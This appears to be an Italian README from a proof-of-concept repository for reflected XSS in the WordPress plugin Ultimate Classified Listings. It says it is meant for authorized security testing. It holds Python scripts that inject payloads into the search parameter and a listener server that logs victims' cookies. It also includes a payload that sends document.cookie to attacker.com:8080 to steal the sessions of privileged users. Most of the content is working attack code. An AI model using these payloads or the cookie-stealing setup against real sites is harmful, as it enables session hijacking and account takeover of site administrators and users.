
Script proof-of-concept che dimostrano vulnerabilità di XSS riflesso e furto di cookie nei plugin di WordPress, per test di sicurezza autorizzati e ricerca di vulnerabilità.
Questo repository contiene script di Prova di Concetto (PoC) per varie vulnerabilità scoperte in diversi plugin WordPress. Questi script dimostrano come un attaccante può sfruttare queste vulnerabilità per eseguire azioni dannose.
Cross-Site Scripting (XSS) Riflesso nel Plugin Ultimate Classified Listings
Furto di Cookie Tramite XSS
Questa PoC dimostra come sfruttare la vulnerabilità XSS riflesso nel plugin Ultimate Classified Listings.
Identificare il Parametro Vulnerabile:
search nell'URL http://example.com/classifieds.Creare un URL Malevolo:
http://example.com/classifieds?search=<script>alert('XSS')</script>
Eseguire lo Script PoC:
xss_poc.py ed eseguilo.import requests
# Configuration
target_url = "http://example.com/classifieds" # Change this to the target site's URL
payload = "<script>alert('XSS')</script>" # XSS payload
def trigger_xss():
# Construct the malicious URL
malicious_url = f"{target_url}?search={payload}"
# Send a GET request to the malicious URL
response = requests.get(malicious_url)
# Check if the payload is reflected in the response
if payload in response.text:
print("[+] XSS payload reflected in the response.")
print("[+] Malicious URL:", malicious_url)
else:
print("[-] XSS payload not reflected in the response.")
if __name__ == "__main__":
trigger_xss()
Questa PoC dimostra come un attaccante può sfruttare la vulnerabilità XSS riflesso per rubare i cookie di utenti con privilegi elevati.
Impostare un Server Malevolo:
malicious_server.py ed eseguilo per avviare un server che registra le richieste in arrivo (inclusi i cookie).from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
logging.info(f"Received request: {self.headers}")
self.send_response(200)
self.end_headers()
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8080):
logging.basicConfig(filename='server.log', level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info(f'Starting server on port {port}...')
httpd.serve_forever()
if __name__ == "__main__":
run()
Creare un Payload per Rubare i Cookie:
http://example.com/classifieds?search=<script>new Image().src='http://attacker.com:8080?cookie='+document.cookie;</script>
Eseguire lo Script PoC:
steal_cookies_poc.py ed eseguilo.import requests
# Configuration
target_url = "http://example.com/classifieds" # Change this to the target site's URL
attacker_server = "http://attacker.com:8080" # Change this to your malicious server's URL
payload = f"<script>new Image().src='{attacker_server}?cookie='+document.cookie;</script>"
def trigger_xss():
# Construct the malicious URL
malicious_url = f"{target_url}?search={payload}"
# Send a GET request to the malicious URL
response = requests.get(malicious_url)
# Check if the payload is reflected in the response
if payload in response.text:
print("[+] XSS payload reflected in the response.")
print("[+] Malicious URL:", malicious_url)
else:
print("[-] XSS payload not reflected in the response.")
if __name__ == "__main__":
trigger_xss()
Queste PoC dimostrano come un attaccante potrebbe sfruttare le vulnerabilità nei plugin WordPress per eseguire azioni dannose. Mantieni sempre il tuo software aggiornato e segui le migliori pratiche di sicurezza per prevenire tali vulnerabilità.